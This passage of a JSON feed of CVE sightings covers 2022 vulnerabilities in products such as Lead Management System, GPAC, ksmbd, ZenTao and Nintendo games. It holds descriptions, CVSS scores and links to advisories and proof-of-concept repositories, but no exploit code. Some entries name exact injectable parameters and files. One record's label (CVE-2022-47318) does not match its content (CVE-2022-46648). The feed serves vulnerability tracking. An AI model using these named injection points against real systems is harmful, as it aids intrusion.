Published: 2023-01-19T17:02:15.814Z\n\ud83d\udccf Modified: 2025-04-03T17:00:32.324Z\n\ud83d\udd17 References:\n1. https://talosintelligence.com/vulnerability_reports/TALOS-2022-1686", "creation_timestamp": "2025-04-03T17:35:39.000000Z"}, {"uuid": "3fa612ae-3f95-43e2-b691-79665bc283a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47740", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10457", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47740\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Seltmann GmbH Content Management System 6 is vulnerable to SQL Injection via /index.php.\n\ud83d\udccf Published: 2023-01-19T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-04T14:06:58.385Z\n\ud83d\udd17 References:\n1. https://github.com/blockomat2100/PoCs/blob/main/seltmann_gmbh_cms.md", "creation_timestamp": "2025-04-04T14:36:05.000000Z"}, {"uuid": "216b21b5-2f11-4f9e-aedd-b985432d6dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47881", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10451", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47881\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Foxit PDF Reader and PDF Editor 11.2.1.53537 and earlier has an Out-of-Bounds Read vulnerability.\n\ud83d\udccf Published: 2023-01-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-04T14:26:28.255Z\n\ud83d\udd17 References:\n1. https://www.foxitsoftware.com/support/security-bulletins.php\n2. https://www.foxit.com/support/security-bulletins.html\n3. https://hacksys.io/advisories/HI-2022-005", "creation_timestamp": "2025-04-04T14:35:54.000000Z"}, {"uuid": "a409d432-8eb3-4ae4-8d7d-02748677c710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47745", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10458", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47745\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: ZenTao 16.4 to 18.0.beta1 is vulnerable to SQL injection. After logging in with any user, you can complete SQL injection by constructing a special request and sending it to function importNotice.\n\ud83d\udccf Published: 2023-01-19T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-04T14:05:04.966Z\n\ud83d\udd17 References:\n1. https://github.com/l3s10n/ZenTaoPMS_SqlInjection\n2. https://github.com/easysoft/zentaopms/issues/106", "creation_timestamp": "2025-04-04T14:36:07.000000Z"}, {"uuid": "71506b4a-c678-4ae2-a68f-7c3adba6bf53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47318", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10539", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-46648\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: ruby-git versions prior to v1.13.0 allows a remote authenticated attacker to execute an arbitrary ruby code by having a user to load a repository containing a specially crafted filename to the product. This vulnerability is different from CVE-2022-47318.\n\ud83d\udccf Published: 2023-01-17T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-04T18:52:30.835Z\n\ud83d\udd17 References:\n1. https://github.com/ruby-git/ruby-git\n2. https://github.com/ruby-git/ruby-git/pull/602\n3. https://jvn.jp/en/jp/JVN16765254/index.html\n4. https://lists.debian.org/debian-lts-announce/2023/01/msg00043.html", "creation_timestamp": "2025-04-04T19:36:54.000000Z"}, {"uuid": "7e2ebc04-4313-4544-862e-c291c09f448b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47373", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10575", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47373\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:L)\n\ud83d\udd39 Description: Reflected Cross Site Scripting in Search Functionality of Module Library in Pandora FMS Console v766 and lower. This vulnerability arises on the forget password functionality in which parameter username does not proper input validation/sanitization thus results in executing malicious JavaScript payload.\n\ud83d\udccf Published: 2023-02-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-04T20:38:38.112Z\n\ud83d\udd17 References:\n1. https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/\n2. https://github.com/Argonx21/CVE-2022-47373", "creation_timestamp": "2025-04-04T21:36:32.000000Z"}, {"uuid": "2f43b6bc-2a6a-497f-9a06-4ed334ec7658", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47864", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11077", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47864\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Lead Management System v1.0 is vulnerable to SQL Injection via the id parameter in removeCategories.php.\n\ud83d\udccf Published: 2023-01-11T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T14:29:48.122Z\n\ud83d\udd17 References:\n1. https://www.sourcecodester.com/php/15933/lead-management-system-php-open-source-free-download.html\n2. https://github.com/xiumulty/CVE/blob/main/Lead%20management%20system%20v1.0/sql%20in%20removeCategories.php.md", "creation_timestamp": "2025-04-09T14:48:29.000000Z"}, {"uuid": "abf18760-f5f9-448e-8458-9692dd810d51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47630", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11012", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47630\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Trusted Firmware-A through 2.8 has an out-of-bounds read in the X.509 parser for parsing boot certificates. This affects downstream use of get_ext and auth_nvctr. Attackers might be able to trigger dangerous read side effects or obtain sensitive information about microarchitectural state.\n\ud83d\udccf Published: 2023-01-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-08T20:26:30.379Z\n\ud83d\udd17 References:\n1. https://www.trustedfirmware.org/news/\n2. https://trustedfirmware-a.readthedocs.io/en/latest/security_advisories/security-advisory-tfv-10.html\n3. http://www.openwall.com/lists/oss-security/2023/01/16/8", "creation_timestamp": "2025-04-08T20:47:01.000000Z"}, {"uuid": "88726b0d-8a7c-4082-84ab-faf503e6c59e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47859", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11065", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47859\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Lead Management System v1.0 is vulnerable to SQL Injection via the user_id parameter in changePassword.php.\n\ud83d\udccf Published: 2023-01-11T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T14:41:47.066Z\n\ud83d\udd17 References:\n1. https://www.sourcecodester.com/php/15933/lead-management-system-php-open-source-free-download.html\n2. https://github.com/xiumulty/CVE/blob/main/Lead%20management%20system%20v1.0/sql%20in%20changePassword.php.md", "creation_timestamp": "2025-04-09T14:48:14.000000Z"}, {"uuid": "6729da78-a109-4b1b-af10-84da8925c692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47860", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11071", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47860\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Lead Management System v1.0 is vulnerable to SQL Injection via the id parameter in removeProduct.php.\n\ud83d\udccf Published: 2023-01-11T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T14:33:51.358Z\n\ud83d\udd17 References:\n1. https://www.sourcecodester.com/php/15933/lead-management-system-php-open-source-free-download.html\n2. https://github.com/xiumulty/CVE/blob/main/Lead%20management%20system%20v1.0/sql%20in%20removeProduct.php.md", "creation_timestamp": "2025-04-09T14:48:24.000000Z"}, {"uuid": "0bfd799d-67ba-4b5c-87ba-a3e10359e770", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47865", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11083", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47865\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Lead Management System v1.0 is vulnerable to SQL Injection via the id parameter in removeOrder.php.\n\ud83d\udccf Published: 2023-01-11T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T14:23:34.076Z\n\ud83d\udd17 References:\n1. https://www.sourcecodester.com/php/15933/lead-management-system-php-open-source-free-download.html\n2. https://github.com/xiumulty/CVE/blob/main/Lead%20management%20system%20v1.0/sql%20in%20removeOrder.php.md", "creation_timestamp": "2025-04-09T14:48:38.000000Z"}, {"uuid": "774d62e4-84f7-4a73-be79-ae7dd5df6b3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47861", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11073", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47861\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Lead Management System v1.0 is vulnerable to SQL Injection via the id parameter in removeLead.php.\n\ud83d\udccf Published: 2023-01-11T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T14:32:36.186Z\n\ud83d\udd17 References:\n1. https://www.sourcecodester.com/php/15933/lead-management-system-php-open-source-free-download.html\n2. https://github.com/xiumulty/CVE/blob/main/Lead%20management%20system%20v1.0/sql%20in%20removeLead.php.md", "creation_timestamp": "2025-04-09T14:48:25.000000Z"}, {"uuid": "2ed3095c-63bf-438d-bc5a-d5a43763044b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47862", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11075", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47862\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Lead Management System v1.0 is vulnerable to SQL Injection via the customer_id parameter in ajax_represent.php.\n\ud83d\udccf Published: 2023-01-11T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T14:31:34.957Z\n\ud83d\udd17 References:\n1. https://www.sourcecodester.com/php/15933/lead-management-system-php-open-source-free-download.html\n2. https://github.com/xiumulty/CVE/blob/main/Lead%20management%20system%20v1.0/sql%20in%20ajax_represent.php%20.md", "creation_timestamp": "2025-04-09T14:48:27.000000Z"}, {"uuid": "d0517a5c-8b83-40b8-bb5f-a7fc8ce53522", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4719", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11159", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4719\n\ud83d\udd25 CVSS Score: 5.7 (cvssV3_0, Vector: CVSS:3.0/AV:P/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:L)\n\ud83d\udd39 Description: Business Logic Errors in GitHub repository ikus060/rdiffweb prior to 2.5.5.\n\ud83d\udccf Published: 2022-12-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-09T20:39:58.256Z\n\ud83d\udd17 References:\n1. https://huntr.dev/bounties/9f746881-ad42-446b-9b1d-153391eacc09\n2. https://github.com/ikus060/rdiffweb/commit/bc4bed89affcba71251fe54ed10639da9d392c1d", "creation_timestamp": "2025-04-09T20:48:22.000000Z"}, {"uuid": "e03239ea-eef2-4b3d-8797-311dd0e4fa64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47093", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11245", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47093\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: GPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to heap use-after-free via filters/dmx_m2ts.c:470 in m2tsdmx_declare_pid\n\ud83d\udccf Published: 2023-01-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-10T14:38:53.879Z\n\ud83d\udd17 References:\n1. https://github.com/gpac/gpac/issues/2344", "creation_timestamp": "2025-04-10T14:50:26.000000Z"}, {"uuid": "259f390e-6a82-48e6-b7d9-487694931c59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4779", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11342", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4779\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: StreamX applications from versions 6.02.01 to 6.04.34 are affected by a logic bug that allows to bypass the implemented authentication scheme.\nStreamX applications using StreamView HTML component with the public web server feature activated are affected. \n\ud83d\udccf Published: 2022-12-28T14:20:49.370Z\n\ud83d\udccf Modified: 2025-04-10T20:33:55.806Z\n\ud83d\udd17 References:\n1. https://elvexys.com/products/xpg-gateway-rtu-protocol-converter/streamx-release-notes/", "creation_timestamp": "2025-04-10T20:49:37.000000Z"}, {"uuid": "1e908849-3378-49b2-ade7-274b793c9326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4780", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11349", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-4780\n\ud83d\udd25 CVSS Score: 4.5 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: ISOS firmwares from versions 1.81 to 2.00 contain hardcoded credentials from embedded StreamX installer that integrators are not forced to change.\n\n\ud83d\udccf Published: 2022-12-28T14:21:36.185Z\n\ud83d\udccf Modified: 2025-04-10T20:31:03.789Z\n\ud83d\udd17 References:\n1. https://elvexys.com/products/xpg-gateway-rtu-protocol-converter/isos-release-notes/", "creation_timestamp": "2025-04-10T20:49:50.000000Z"}, {"uuid": "d389e1e2-8969-48a5-907d-9f097fce4d72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47087", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11238", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47087\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: GPAC MP4box 2.1-DEV-rev574-g9d5bb184b has a Buffer overflow in gf_vvc_read_pps_bs_internal function of media_tools/av_parsers.c\n\ud83d\udccf Published: 2023-01-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-10T14:41:44.350Z\n\ud83d\udd17 References:\n1. https://github.com/gpac/gpac/issues/2339", "creation_timestamp": "2025-04-10T14:50:19.000000Z"}, {"uuid": "018359a8-a35f-4914-9f31-7a1af54cc72b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47086", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11235", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47086\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: GPAC MP4Box v2.1-DEV-rev574-g9d5bb184b contains a segmentation violation via the function gf_sm_load_init_swf at scene_manager/swf_parse.c\n\ud83d\udccf Published: 2023-01-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-10T14:42:49.848Z\n\ud83d\udd17 References:\n1. https://github.com/gpac/gpac/issues/2337\n2. https://www.debian.org/security/2023/dsa-5411", "creation_timestamp": "2025-04-10T14:50:16.000000Z"}, {"uuid": "f93fd020-b97c-4ff4-a6c5-2c26da136071", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47088", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11242", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47088\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: GPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to Buffer Overflow.\n\ud83d\udccf Published: 2023-01-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-10T14:40:10.100Z\n\ud83d\udd17 References:\n1. https://github.com/gpac/gpac/issues/2340", "creation_timestamp": "2025-04-10T14:50:23.000000Z"}, {"uuid": "917a7339-7dd4-419a-8f18-8c33cecd929a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47127", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11428", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47127\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Tenda A15 V15.13.07.13 was discovered to contain a stack overflow via the wrlPwd parameter at /goform/WifiBasicSet.\n\ud83d\udccf Published: 2022-12-30T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-11T14:48:50.199Z\n\ud83d\udd17 References:\n1. https://brief-nymphea-813.notion.site/Vul11-A15-bof-WifiBasicSet-wrlPwd-de8dbe64e48f4981a6f0f5216622b6d9", "creation_timestamp": "2025-04-11T14:50:59.000000Z"}, {"uuid": "f88919d0-0022-41fa-a5d7-67f0e5dd084b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47968", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11479", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47968\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Heimdall Application Dashboard through 2.5.4 allows reflected and stored XSS via \"Application name\" to the \"Add application\" page. The stored XSS will be triggered in the \"Application list\" page.\n\ud83d\udccf Published: 2022-12-27T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-11T16:49:52.076Z\n\ud83d\udd17 References:\n1. https://github.com/linuxserver/Heimdall/issues/1086\n2. https://samy.link/blog", "creation_timestamp": "2025-04-11T17:51:21.000000Z"}, {"uuid": "548549e3-1654-49b1-b7a3-1f92f0addf27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47926", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11823", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47926\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: AyaCMS 3.1.2 is vulnerable to file deletion via /aya/module/admin/fst_del.inc.php\n\ud83d\udccf Published: 2022-12-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-15T14:46:45.713Z\n\ud83d\udd17 References:\n1. https://github.com/loadream/AyaCMS/issues/7", "creation_timestamp": "2025-04-15T14:55:03.000000Z"}, {"uuid": "992b9443-8f51-48f7-95e0-c8c4071325ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47949", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11680", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47949\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AC:L/AV:N/A:H/C:H/I:H/PR:N/S:U/UI:N)\n\ud83d\udd39 Description: The Nintendo NetworkBuffer class, as used in Animal Crossing: New Horizons before 2.0.6 and other products, allows remote attackers to execute arbitrary code via a large UDP packet that causes a buffer overflow, aka ENLBufferPwn. The victim must join a game session with the attacker. Other affected products include Mario Kart 7 before 1.2, Mario Kart 8, Mario Kart 8 Deluxe before 2.1.0, ARMS before 5.4.1, Splatoon, Splatoon 2 before 5.5.1, Splatoon 3 before late 2022, Super Mario Maker 2 before 3.0.2, and Nintendo Switch Sports before late 2022.\n\ud83d\udccf Published: 2022-12-24T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-14T18:36:52.377Z\n\ud83d\udd17 References:\n1. https://github.com/PabloMK7/ENLBufferPwn", "creation_timestamp": "2025-04-14T18:54:08.000000Z"}, {"uuid": "60c23002-bdb0-4c90-b159-d152b1d8f8eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47940", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11679", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47940\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in ksmbd in the Linux kernel 5.15 through 5.18 before 5.18.18. fs/ksmbd/smb2pdu.c lacks length validation in the non-padding case in smb2_write.\n\ud83d\udccf Published: 2022-12-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-14T18:37:29.993Z\n\ud83d\udd17 References:\n1. https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.18.18\n2. https://github.com/torvalds/linux/commit/158a66b245739e15858de42c0ba60fcf3de9b8e6\n3. https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=158a66b245739e15858de42c0ba60fcf3de9b8e6\n4. http://www.openwall.com/lists/oss-security/2022/12/23/10", "creation_timestamp": "2025-04-14T18:54:07.000000Z"}, {"uuid": "e9775d7d-f0eb-433f-8998-9e76581d3108", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11678", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47939\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in ksmbd in the Linux kernel 5.15 through 5.19 before 5.19.2. fs/ksmbd/smb2pdu.c has a use-after-free and OOPS for SMB2_TREE_DISCONNECT.\n\ud83d\udccf Published: 2022-12-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-14T18:38:27.723Z\n\ud83d\udd17 References:\n1. https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.19.2\n2. https://github.com/torvalds/linux/commit/cf6531d98190fa2cf92a6d8bbc8af0a4740a223c\n3. https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=cf6531d98190fa2cf92a6d8bbc8af0a4740a223c\n4. http://www.openwall.com/lists/oss-security/2022/12/23/10\n5. https://www.zerodayinitiative.com/advisories/ZDI-22-1690/\n6. https://www.secpod.com/blog/zero-day-server-message-block-smb-server-in-linux-kernel-5-15-has-a-critical-vulnerability-patch-ksmbd-immediately/", "creation_timestamp": "2025-04-14T18:54:06.000000Z"}, {"uuid": "d241d33e-b25a-4f24-92c8-d98a507d8fc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47524", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11747", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47524\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: F-Secure SAFE Browser 19.1 before 19.2 for Android allows an IDN homograph attack.\n\ud83d\udccf Published: 2022-12-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-15T03:26:42.162Z\n\ud83d\udd17 References:\n1. https://www.f-secure.com/en/home/support/security-advisories/cve-2022-47524", "creation_timestamp": "2025-04-15T03:54:25.000000Z"}, {"uuid": "90a79776-9ad2-48b9-9086-208ad7999b91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47633", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11748", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47633\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An image signature validation bypass vulnerability in Kyverno 1.8.3 and 1.8.4 allows a malicious image registry (or a man-in-the-middle attacker) to inject unsigned arbitrary container images into a protected Kubernetes cluster. This is fixed in 1.8.5. This has been fixed in 1.8.5 and mitigations are available for impacted releases.\n\ud83d\udccf Published: 2022-12-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-15T03:22:55.828Z\n\ud83d\udd17 References:\n1. https://kyverno.io/docs/writing-policies/verify-images/\n2. https://github.com/kyverno/kyverno/compare/v1.8.4...v1.8.5\n3. https://github.com/kyverno/kyverno/releases/tag/v1.8.5\n4. https://github.com/kyverno/kyverno/pull/5713\n5. https://github.com/kyverno/kyverno/security/advisories/GHSA-m3cq-xcx9-3gvm", "creation_timestamp": "2025-04-15T03:54:26.000000Z"}, {"uuid": "b6530884-3d64-4733-8d7d-e65589a82946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47938", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11749", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-47938\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in ksmbd in the Linux kernel 5.15 through 5.19 before 5.19.2. fs/ksmbd/smb2misc.c has an out-of-bounds read and OOPS for SMB2_TREE_CONNECT.\n\ud83d\udccf Published: 2022-12-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-15T03:20:08.042Z\n\ud83d\udd17 References:\n1. https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.19.2\n2. https://github.com/torvalds/linux/commit/824d4f64c20093275f72fc8101394d75ff6a249e\n3. 